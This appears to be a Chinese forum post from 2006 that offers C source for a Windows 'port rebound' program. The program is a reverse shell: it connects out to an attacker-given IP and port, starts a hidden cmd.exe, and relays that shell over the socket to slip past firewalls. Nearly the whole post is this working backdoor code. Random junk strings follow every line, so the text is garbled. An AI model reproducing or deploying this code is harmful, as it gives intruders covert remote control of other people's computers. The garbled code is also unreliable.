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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ls@j8bVv^  
Wb%t6N?  
/* ============================== V{{Xz:   
Rebound port in Windows NT Pm/Rc  
By wind,2006/7 ,+>JQ82  
===============================*/ cuoZ:Wh  
#include '* eeup  
#include b6?&h:{k  
K(3_1*e  
#pragma comment(lib,"wsock32.lib") T!%J x.^  
| zyO;  
void OutputShell(); 0@tN3u?dx  
SOCKET sClient; P#l"`C /  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MJM<  
{g]Mx|5Q  
void main(int argc,char **argv) ]ft}fU5C1  
{ _ *.ImD  
WSADATA stWsaData; h0aK}`/a  
int nRet; p9-s'F|@i  
SOCKADDR_IN stSaiClient,stSaiServer; O%)Wo?)HM  
["1Iz{  
if(argc != 3) m>9j dsqB  
{ 9SQc ChG~j  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2r"J"C  
return; P^57a?[`  
} +pY-- 5t  
tyU'[LF?  
WSAStartup(MAKEWORD(2,2),&stWsaData); <<Q}|$Wu  
c0v6*O)  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $1uT`>%  
HZ[.,DuW  
stSaiClient.sin_family = AF_INET; ]99@Lf[^f  
stSaiClient.sin_port = htons(0); Pk{%2\%&2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d#CAP9n;'  
&e \UlM22  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  X]4j&QB  
{ ]S 3l' "  
printf("Bind Socket Failed!\n"); IKVFbTX:y  
return; 4q)+nh~s  
} JFu9_=%+  
cd(YH! 3  
stSaiServer.sin_family = AF_INET; dqgH"g  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6FkBb !ASk  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7V2xg h!W  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?Q~o<%U7  
{ IAi|4,y_L  
printf("Connect Error!"); m0p%R>:5  
return; Fv-~v&  
} mu{\_JX.A  
OutputShell(); /liZ|K3A  
} M.9w_bW]#D  
cBtQ2,<6  
void OutputShell() dUH+7.\  
{ Yy'CBIq#f  
char szBuff[1024]; =`ECM7  
SECURITY_ATTRIBUTES stSecurityAttributes; |@BX*r  
OSVERSIONINFO stOsversionInfo; rcz9\@M  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vMzBp#MT  
STARTUPINFO stStartupInfo; i:|e#$x  
char *szShell; UuCRQNH  
PROCESS_INFORMATION stProcessInformation; 2QgD<  
unsigned long lBytesRead; ^Rb*mI  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /RI"a^&9A  
Al+}4{Q+?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z#B(1uI  
stSecurityAttributes.lpSecurityDescriptor = 0; :[&QoEZW  
stSecurityAttributes.bInheritHandle = TRUE; l?B=5*0  
 a"D'QqtH  
2j&0U!DX  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M.67[Qj~"u  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wpg7xx!  
Ot{~mMDp  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5><T#0W?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <DN7  
stStartupInfo.wShowWindow = SW_HIDE; _9y! ,ST  
stStartupInfo.hStdInput = hReadPipe; DMA`Jx  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FEdFGT  
@rS(3wu_&  
GetVersionEx(&stOsversionInfo); 7U!-_)n{  
U%n>(!d  
switch(stOsversionInfo.dwPlatformId) >U)>~SQf  
{ @RHG@{x{K  
case 1: ~3)d?{5  
szShell = "command.com"; `R*SHy! _  
break; "fC>]iA8I  
default: i`5Skr:M  
szShell = "cmd.exe"; &Qmb?{S0  
break; tYp 185  
} u\(>a  
Gkm {b[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W~FU!C?]  
+~"(Wooi  
send(sClient,szMsg,77,0); T037|k a{  
while(1) Q^8/"aV\  
{ 8@/MrEOW#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tL M@o|:  
if(lBytesRead) gwbV$[.X  
{ Z*'<9l_1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  (duR1Dz  
send(sClient,szBuff,lBytesRead,0); kqjj&{vPFJ  
} ?)H:.]7-x  
else &g~NkJc0c  
{ 6mqp`x`  
lBytesRead=recv(sClient,szBuff,1024,0); QjKh#sU&  
if(lBytesRead<=0) break; urg^>n4V]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (Q=:ln;kM  
} aeDhC#h  
} .{-X1tJ7  
WmkCV+thA  
return; J:@yG1VIp  
}
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